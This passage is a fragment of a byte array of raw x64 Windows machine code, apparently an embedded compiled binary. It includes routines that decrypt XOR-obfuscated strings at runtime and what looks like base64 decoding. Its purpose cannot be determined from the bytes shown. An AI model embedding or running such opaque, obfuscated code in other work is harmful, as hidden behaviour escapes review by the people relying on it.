0x00, 0x00, 0x66, 0x0F, 0x7F, 0x45, 0x40, 0x66, 0x0F, 0x6F, 0x4D, 0x50, 0x0F, 0x57, 0x0D, 0xC1, 0x82, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x4D, 0x50, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x20, 0x4C, 0x8B, 0xC3, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x46, 0x38, 0x34, 0x00, 0x75, 0xF7, 0x48, 0x8D, 0x55, 0x20, 0xE8, 0xCE, 0x48, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x4E, 0x40, 0x48, 0xB8, 0x99, 0x04, 0xB4, 0x52, 0x22, 0x69, 0x1D, 0x20, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x5D, 0xD2, 0x6C, 0xBD, 0x0D, 0x51, 0xA3, 0x5E, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x28, 0x48, 0xB8, 0xC4, 0x23, 0xE6, 0xDD, 0x17, 0x5F, 0x13, 0x19, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x30, 0x48, 0xB8, 0x3C, 0xAD, 0x2F, 0x5A, 0xA7, 0x10, 0x97, 0xC9, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x4D, 0xAB, 0xCD, 0xCE, 0xF1, 0xD8, 0xAD, 0xF2, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x32, 0xD2, 0xD5, 0xE4, 0x7C, 0x91, 0x74, 0x77, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x48, 0x66, 0x0F, 0x6F, 0x4D, 0x20, 0xF3, 0x0F, 0x6F, 0x05, 0x90, 0x81, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x20, 0x66, 0x0F, 0x6F, 0x55, 0x30, 0xF3, 0x0F, 0x6F, 0x05, 0x8B, 0x81, 0x00, 0x00, 0x0F, 0x57, 0xD0, 0x66, 0x0F, 0x7F, 0x55, 0x30, 0x66, 0x0F, 0x6F, 0x4D, 0x40, 0xF3, 0x0F, 0x6F, 0x05, 0x86, 0x81, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x40, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x20, 0x4C, 0x8B, 0xC3, 0x90, 0x49, 0xFF, 0xC0, 0x42, 0x80, 0x3C, 0x00, 0x00, 0x75, 0xF6, 0x48, 0x8D, 0x55, 0x20, 0xE8, 0xDD, 0x47, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x4E, 0x60, 0x48, 0xB8, 0x86, 0x2B, 0xA9, 0x52, 0x28, 0x60, 0x78, 0x7C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x10, 0x4C, 0x89, 0x7D, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x18, 0x66, 0x0F, 0x6F, 0x4D, 0x10, 0xF3, 0x0F, 0x6F, 0x05, 0xF1, 0x80, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x10, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x10, 0x48, 0xFF, 0xC3, 0x80, 0x3C, 0x18, 0x00, 0x75, 0xF7, 0x4C, 0x8B, 0xC3, 0x48, 0x8D, 0x55, 0x10, 0xE8, 0x7A, 0x47, 0x00, 0x00, 0x90, 0x48, 0x8B, 0xC6, 0x4C, 0x8D, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x28, 0x49, 0x8B, 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, 0x5E, 0x5D, 0xC3, 0x48, 0xB8, 0xA0, 0x27, 0xBC, 0x58, 0x45, 0x05, 0x78, 0x7C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x10, 0x4C, 0x89, 0x7D, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x18, 0x66, 0x0F, 0x6F, 0x4D, 0x10, 0xF3, 0x0F, 0x6F, 0x05, 0x72, 0x80, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x10, 0x48, 0x8D, 0x4D, 0x10, 0x48, 0x8B, 0xC3, 0x48, 0xFF, 0xC0, 0x44, 0x38, 0x34, 0x01, 0x75, 0xF7, 0x4C, 0x8B, 0x47, 0x10, 0x48, 0x83, 0x7F, 0x18, 0x0F, 0x76, 0x03, 0x48, 0x8B, 0x3F, 0x4C, 0x3B, 0xC0, 0x0F, 0x85, 0xC7, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0xCF, 0xE8, 0x4C, 0x63, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xB3, 0x02, 0x00, 0x00, 0xC7, 0x06, 0xAF, 0x31, 0x6B, 0x57, 0xC7, 0x46, 0x04, 0x69, 0x63, 0x6B, 0x4B, 0xC7, 0x46, 0x08, 0x85, 0x60, 0xE4, 0xB2, 0xC7, 0x46, 0x0C, 0x03, 0xA9, 0x7A, 0x8B, 0xC7, 0x46, 0x10, 0x1E, 0x86, 0x96, 0xF3, 0xC7, 0x46, 0x14, 0x8E, 0x0C, 0x71, 0x4C, 0xC7, 0x46, 0x18, 0x82, 0x56, 0x2F, 0xAE, 0xC7, 0x46, 0x1C, 0x6D, 0x75, 0x9C, 0xE9, 0x48, 0x8D, 0x4E, 0x20, 0x48, 0xB8, 0x86, 0x79, 0x87, 0x6D, 0x37, 0x6A, 0x1F, 0x0E, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x7F, 0xD7, 0x3E, 0x94, 0x09, 0x58, 0x9A, 0x78, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x28, 0x48, 0xB8, 0x97, 0x6E, 0xEC, 0xC5, 0x65, 0x17, 0x3B, 0x35, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x30, 0x48, 0xB8, 0x09, 0x82, 0x32, 0x56, 0xB5, 0x13, 0xD1, 0xEE, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x8F, 0xDD, 0xCC, 0x94, 0x84, 0xEC, 0x82, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x42, 0xBE, 0xBC, 0x87, 0x1D, 0xE5, 0x1D, 0x18, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xB8, 0x95, 0x7A, 0x46, 0x70, 0x0A, 0x7E, 0x4D, 0x81, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x50, 0x48, 0xB8, 0x3A, 0x55, 0x14, 0xD1, 0xA2, 0x28, 0x83, 0x9F, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x58, 0x66, 0x0F, 0x6F, 0x45, 0x20, 0x0F, 0x57, 0x05, 0x80, 0x7F, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x45, 0x20, 0x66, 0x0F, 0x6F, 0x4D, 0x30, 0x0F, 0x57, 0x0D, 0x7F, 0x7F, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x4D, 0x30, 0x66, 0x0F, 0x6F, 0x45, 0x40, 0x0F, 0x57, 0x05, 0x7E, 0x7F, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x45, 0x40, 0x66, 0x0F, 0x6F, 0x4D, 0x50, 0x0F, 0x57, 0x0D, 0x7D, 0x7F, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x4D, 0x50, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x20, 0x4C, 0x8B, 0xC3, 0x0F, 0x1F, 0x00, 0x49, 0xFF, 0xC0, 0x46, 0x38, 0x34, 0x00, 0x75, 0xF7, 0x48, 0x8D, 0x55, 0x20, 0xE8, 0x8E, 0x45, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x4E, 0x40, 0x48, 0xB8, 0x99, 0x0E, 0xB2, 0x5E, 0x37, 0x6A, 0x0B, 0x13, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x78, 0xCE, 0x42, 0x97, 0x04, 0x53, 0x9A, 0x57, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x28, 0x48, 0xB8, 0xE2, 0x35, 0xF1, 0x8F, 0x73, 0x7A, 0x06, 0x0C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x30, 0x48, 0xB8, 0x01, 0xBD, 0x0C, 0x56, 0xA5, 0x1D, 0xDB, 0xBA, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6A, 0xBE, 0xD8, 0xDF, 0x94, 0xD8, 0xAD, 0xF2, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x32, 0xD2, 0xD5, 0xE4, 0x7C, 0x91, 0x74, 0x77, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x48, 0x66, 0x0F, 0x6F, 0x4D, 0x20, 0xF3, 0x0F, 0x6F, 0x05, 0x50, 0x7E, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x20, 0xF3, 0x0F, 0x6F, 0x05, 0x50, 0x7E, 0x00, 0x00, 0x0F, 0x57, 0x45, 0x30, 0x66, 0x0F, 0x7F, 0x45, 0x30, 0xF3, 0x0F, 0x6F, 0x0D, 0x4F, 0x7E, 0x00, 0x00, 0x0F, 0x57, 0x4D, 0x40, 0x66, 0x0F, 0x7F, 0x4D, 0x40, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x20, 0x4C, 0x8B, 0xC3, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x42, 0x80, 0x3C, 0x00, 0x00, 0x75, 0xF6, 0x48, 0x8D, 0x55, 0x20, 0xE8, 0x9D, 0x44, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x4E, 0x60, 0x48, 0xB8, 0x80, 0x27, 0xBC, 0x58, 0x45, 0x05, 0x78, 0x7C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x10, 0x4C, 0x89, 0x7D, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x18, 0x66, 0x0F, 0x6F, 0x4D, 0x10, 0xF3, 0x0F, 0x6F, 0x05, 0xB1, 0x7D, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x10, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x89, 0x71, 0x10, 0x4C, 0x89, 0x71, 0x18, 0x48, 0x8D, 0x45, 0x10, 0x48, 0xFF, 0xC3, 0x80, 0x3C, 0x18, 0x00, 0x75, 0xF7, 0x4C, 0x8B, 0xC3, 0x48, 0x8D, 0x55, 0x10, 0xE8, 0x3A, 0x44, 0x00, 0x00, 0x90, 0xE9, 0xBB, 0xFC, 0xFF, 0xFF, 0x48, 0xB8, 0x90, 0x2D, 0xA8, 0x6D, 0x17, 0x05, 0x78, 0x7C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x10, 0x4C, 0x89, 0x7D, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x18, 0xF3, 0x0F, 0x6F, 0x05, 0x52, 0x7D, 0x00, 0x00, 0x0F, 0x57, 0x45, 0x10, 0x66, 0x0F, 0x7F, 0x45, 0x10, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8D, 0x4D, 0x68, 0xE8, 0xC4, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0x1D, 0x98, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x68, 0xE8, 0xD6, 0x5E, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x78, 0x48, 0x8B, 0xD9, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x31, 0x48, 0x8B, 0x49, 0x60, 0x48, 0xFF, 0xC2, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xC8, 0xE8, 0xA0, 0x51, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x70, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x78, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x43, 0x60, 0x00, 0x48, 0x8B, 0x53, 0x58, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x2D, 0x48, 0x8B, 0x4B, 0x40, 0x48, 0xFF, 0xC2, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x6D, 0x49, 0x8B, 0xC8, 0xE8, 0x55, 0x51, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x58, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x43, 0x40, 0x00, 0x48, 0x8B, 0x53, 0x38, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x2D, 0x48, 0x8B, 0x4B, 0x20, 0x48, 0xFF, 0xC2, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x22, 0x49, 0x8B, 0xC8, 0xE8, 0x0A, 0x51, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x38, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x43, 0x20, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xFF, 0x15, 0xF6, 0x77, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x75, 0x79, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0x26, 0x77, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xCF, 0x7B, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x35, 0x79, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0xE6, 0x76, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xEF, 0x7A, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x6C, 0x24, 0xB0, 0x48, 0x81, 0xEC, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x7D, 0xB4, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0x40, 0x4D, 0x8B, 0xF0, 0x4C, 0x8B, 0xFA, 0x48, 0x8B, 0xF9, 0x48, 0x89, 0x4C, 0x24, 0x40, 0x45, 0x33, 0xE4, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xD2, 0x41, 0xB8, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xE8, 0x0C, 0x5D, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x3F, 0x7B, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x4D, 0xD8, 0xFF, 0x15, 0x30, 0x75, 0x00, 0x00, 0x90, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x54, 0x24, 0x58, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0x19, 0x75, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x63, 0x48, 0x04, 0x4C, 0x8D, 0x2D, 0x90, 0x79, 0x00, 0x00, 0x4C, 0x89, 0x6C, 0x0C, 0x50, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x54, 0x0C, 0x4C, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0xFF, 0x15, 0x95, 0x74, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x3E, 0x7A, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x45, 0x8B, 0xCC, 0x4C, 0x89, 0x65, 0xC0, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x89, 0x4D, 0xC8, 0x41, 0x8B, 0xF4, 0x4D, 0x85, 0xF6, 0x74, 0x64, 0x66, 0x90, 0x48, 0x8D, 0x15, 0x79, 0xF6, 0xFF, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0x16, 0x75, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0xBA, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0xFF, 0x15, 0x03, 0x74, 0x00, 0x00, 0x48, 0x8B, 0x50, 0x08, 0x4C, 0x8B, 0x00, 0x48, 0x8B, 0x03, 0x48, 0x63, 0x48, 0x04, 0x48, 0x03, 0xCB, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0x03, 0x48, 0x63, 0x48, 0x04, 0xC6, 0x44, 0x19, 0x58, 0x30, 0x41, 0x0F, 0xB6, 0x14, 0x37, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xDD, 0x74, 0x00, 0x00, 0x48, 0xFF, 0xC6, 0x49, 0x3B, 0xF6, 0x72, 0xA5, 0x8B, 0x4D, 0xC8, 0x4C, 0x8B, 0x4D, 0xC0, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x07, 0x4C, 0x89, 0x67, 0x10, 0x48, 0xC7, 0x47, 0x18, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x07, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x0A, 0x00, 0x00, 0x00, 0x0F, 0x11, 0x44, 0x24, 0x28, 0x8B, 0xC1, 0x24, 0x22, 0x3C, 0x02, 0x74, 0x20, 0x48, 0x8B, 0x45, 0x98, 0x4C, 0x8B, 0x00, 0x4D, 0x85, 0xC0, 0x74, 0x14, 0x48, 0x8B, 0x44, 0x24, 0x78, 0x48, 0x8B, 0x10, 0x4D, 0x3B, 0xC1, 0x4D, 0x0F, 0x42, 0xC1, 0x4C, 0x2B, 0xC2, 0xEB, 0x32, 0xF6, 0xC1, 0x04, 0x75, 0x23, 0x48, 0x8B, 0x45, 0x90, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x17, 0x48, 0x8B, 0x44, 0x24, 0x70, 0x48, 0x8B, 0x10, 0x48, 0x8B, 0x45, 0xA8, 0x4C, 0x63, 0x00, 0x4C, 0x2B, 0xC2, 0x4C, 0x03, 0xC1, 0xEB, 0x0A, 0x4C, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x54, 0x24, 0x28, 0x48, 0x85, 0xD2, 0x74, 0x09, 0x48, 0x8B, 0xCF, 0xE8, 0xD5, 0x3B, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x63, 0x51, 0x04, 0x4C, 0x89, 0x6C, 0x14, 0x50, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x63, 0x51, 0x04, 0x44, 0x8D, 0x82, 0x78, 0xFF, 0xFF, 0xFF, 0x44, 0x89, 0x44, 0x14, 0x4C, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0xE8, 0x37, 0x35, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0x15, 0xFC, 0x73, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, 0xFF, 0x15, 0xEA, 0x73, 0x00, 0x00, 0x48, 0x8B, 0xC7, 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x33, 0xCC, 0xE8, 0x43, 0x4B, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x50, 0x01, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x01, 0x48, 0x8D, 0x99, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x50, 0x04, 0x48, 0x8D, 0x05, 0xCD, 0x77, 0x00, 0x00, 0x48, 0x89, 0x84, 0x1A, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x01, 0x48, 0x8D, 0x4B, 0x80, 0x48, 0x63, 0x50, 0x04, 0x44, 0x8D, 0x82, 0x78, 0xFF, 0xFF, 0xFF, 0x44, 0x89, 0x84, 0x1A, 0x74, 0xFF, 0xFF, 0xFF, 0xE8, 0xAE, 0x34, 0x00, 0x00, 0x48, 0x8D, 0x4B, 0x88, 0xFF, 0x15, 0x74, 0x73, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x5D, 0x73, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xDF, 0xB1, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF0, 0x4C, 0x8B, 0xF2, 0x48, 0x8B, 0xD9, 0x48, 0x89, 0x4D, 0xC8, 0x45, 0x33, 0xFF, 0x44, 0x89, 0x7D, 0xB8, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x45, 0xD0, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, 0x7D, 0xE8, 0x41, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xBB, 0x76, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD0, 0xE8, 0x62, 0x3F, 0x00, 0x00, 0x90, 0x41, 0x8B, 0x46, 0x10, 0x45, 0x8B, 0xEF, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x03, 0x4C, 0x89, 0x3B, 0x4C, 0x89, 0x7B, 0x08, 0x4C, 0x89, 0x7B, 0x10, 0xC7, 0x45, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0xD7, 0x03, 0x00, 0x00, 0x41, 0x8B, 0xD7, 0x48, 0x89, 0x55, 0xA8, 0x41, 0x8B, 0xFF, 0x44, 0x0F, 0xB6, 0x65, 0xA1, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x89, 0x45, 0xB0, 0x49, 0x8B, 0xC6, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x83, 0xF9, 0x0F, 0x76, 0x03, 0x49, 0x8B, 0x06, 0x80, 0x3C, 0x02, 0x3D, 0x0F, 0x84, 0x05, 0x02, 0x00, 0x00, 0x49, 0x8B, 0xF6, 0x48, 0x83, 0xF9, 0x0F, 0x76, 0x03, 0x49, 0x8B, 0x36, 0x0F, 0xB6, 0x34, 0x32, 0x8B, 0xCE, 0xFF, 0x15, 0x89, 0x74, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x0E, 0x40, 0x80, 0xEE, 0x2B, 0x40, 0xF6, 0xC6, 0xFB, 0x0F, 0x85, 0xDB, 0x01, 0x00, 0x00, 0x49, 0x8B, 0xC6, 0x49, 0x83, 0x7E, 0x18, 0x0F, 0x76, 0x03, 0x49, 0x8B, 0x06, 0x48, 0x8B, 0x55, 0xA8, 0x0F, 0xB6, 0x04, 0x10, 0x88, 0x44, 0x3D, 0xA0, 0x41, 0xFF, 0xC5, 0x48, 0xFF, 0xC7, 0x48, 0xFF, 0xC2, 0x48, 0x89, 0x55, 0xA8, 0x48, 0x83, 0xFF, 0x04, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x75, 0xD0, 0x4C, 0x8B, 0x65, 0xD0, 0x4C, 0x8B, 0x6D, 0xE8, 0x49, 0x83, 0xFD, 0x0F, 0x49, 0x0F, 0x47, 0xF4, 0x48, 0x8B, 0x7D, 0xE0, 0x48, 0x85, 0xFF, 0x74, 0x19, 0x0F, 0xBE, 0x55, 0xA0, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xCE, 0xE8, 0xD2, 0x5A, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x48, 0x2B, 0xC6, 0xEB, 0x07, 0x48, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x45, 0xA0, 0x48, 0x8D, 0x75, 0xD0, 0x49, 0x83, 0xFD, 0x0F, 0x49, 0x0F, 0x47, 0xF4, 0x48, 0x85, 0xFF, 0x74, 0x1C, 0x0F, 0xBE, 0x55, 0xA1, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xCE, 0xE8, 0x9E, 0x5A, 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x4C, 0x2B, 0xE6, 0xEB, 0x07, 0x49, 